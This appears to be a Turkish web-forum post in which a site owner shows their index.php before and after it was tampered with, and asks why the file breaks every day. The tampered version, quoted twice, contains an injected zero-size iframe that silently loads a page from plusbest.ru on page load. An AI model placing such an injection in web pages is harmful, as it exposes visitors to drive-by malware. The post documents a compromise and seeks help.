index.php dosyam hostta hergün bozuluyor

index.php kodlarım
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
 <head>
     <?php     
    include("fonksiyon.php");
    include("config.php");
    if(isset($_GET['sayfaid'])) $sayfaid = $_GET['sayfaid']; else $sayfaid = null;    
    if(isset($_GET['altsayfaid'])) $altsayfaid = $_GET['altsayfaid']; else $altsayfaid = null;            
    generateHeader($sayfaid,$altsayfaid);
    include("cssci.php");                          
    ?>
    <link rel="stylesheet" href="css2/main.css" type="text/css" media="screen"/>
    <script type="text/javascript" src="js/genel.js" language=javascript></script>        
 </head>

<body marginheight="0" marginwidth="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0">
<table bgcolor="white" align="center" border="0" cellpadding="0" cellspacing="0" width="850" height="100%">
    <tr>
      <td height="150" colspan="2"><?php include("banner.php"); ?></td>
    </tr>
    <tr>
      <td height="20" align="center" colspan="2"><?php include("ustmenu.php"); ?></td>
    </tr>
    <tr>
       <?php
        include("baglan.php");
        $goster=mysql_query("SELECT * FROM ekozellikler where onay='1' and ek<>'iletisim' and ek<>'defter'and ek<>'fotogaleri' and ek<>'urun' ");
            if(mysql_num_rows($goster))    {
                $sayfa_width="650";
       ?>
        <td height="100%" width="200" valign="top"><?php include("solmenu.php"); ?></td>
      <?php 
            }else{
              $tarih = tarih(time());
              echo "<tr><td align='right' style='padding:10px;'>$tarih</td></tr>";
              $sayfa_width="100%";             
            }
      ?>
            <td height="100%" width=<?php echo $sayfa_width; ?> valign="top">
                <div class="content_inner">    <?php include("sayfa.php"); ?></div>  
        </td>
    </tr>
    <tr>
      <td height="10" align="center" colspan="2" class="alt"><?php include("alt.php"); ?></td>
    </tr>
</table>
</body>
</html>
Bozulduktan Sonraki Hali :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
 <head>
     <?php     
    include("fonksiyon.php");
    include("config.php");
    if(isset($_GET['sayfaid'])) $sayfaid = $_GET['sayfaid']; else $sayfaid = null;    
    if(isset($_GET['altsayfaid'])) $altsayfaid = $_GET['altsayfaid']; else $altsayfaid = null;            
    generateHeader($sayfaid,$altsayfaid);
    include("cssci.php");                          
    ?>
    <link rel="stylesheet" href="css2/main.css" type="text/css" media="screen"/>
    <script type="text/javascript" src="js/genel.js" language=javascript></script>        
 </head>

<body marginheight="0" marginwidth="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0"><iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>
<table bgcolor="white" align="center" border="0" cellpadding="0" cellspacing="0" width="850" height="100%">
    <tr>
      <td height="150" colspan="2"><?php include("banner.php"); ?></td>
    </tr>
    <tr>
      <td height="20" align="center" colspan="2"><?php include("ustmenu.php"); ?></td>
    </tr>
    <tr>
       <?php
        include("baglan.php");
        $goster=mysql_query("SELECT * FROM ekozellikler where onay='1' and ek<>'iletisim' and ek<>'defter'and ek<>'fotogaleri' and ek<>'urun' ");
            if(mysql_num_rows($goster))    {
                $sayfa_width="650";
       ?>
        <td height="100%" width="200" valign="top"><?php include("solmenu.php"); ?></td>
      <?php 
            }else{
              $tarih = tarih(time());
              echo "<tr><td align='right' style='padding:10px;'>$tarih</td></tr>";
              $sayfa_width="100%";             
            }
      ?>
            <td height="100%" width=<?php echo $sayfa_width; ?> valign="top">
                <div class="content_inner">    <?php include("sayfa.php"); ?></div>  
        </td>
    </tr>
    <tr>
      <td height="10" align="center" colspan="2" class="alt"><?php include("alt.php")
bozulan php de dikkat ettiyseniz

<iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>

bu satır eklendi :S

ve alt.php yi include etme işlemini yarıda kesip atmış..

Not : iframe ile döviz bilgilerini çekiyorum tcmb den
sorun bumu acaba iframe i virüs olarak mı algılıyor server ?
eğer öyleyse çözüm nedir ?
teşekkürler ...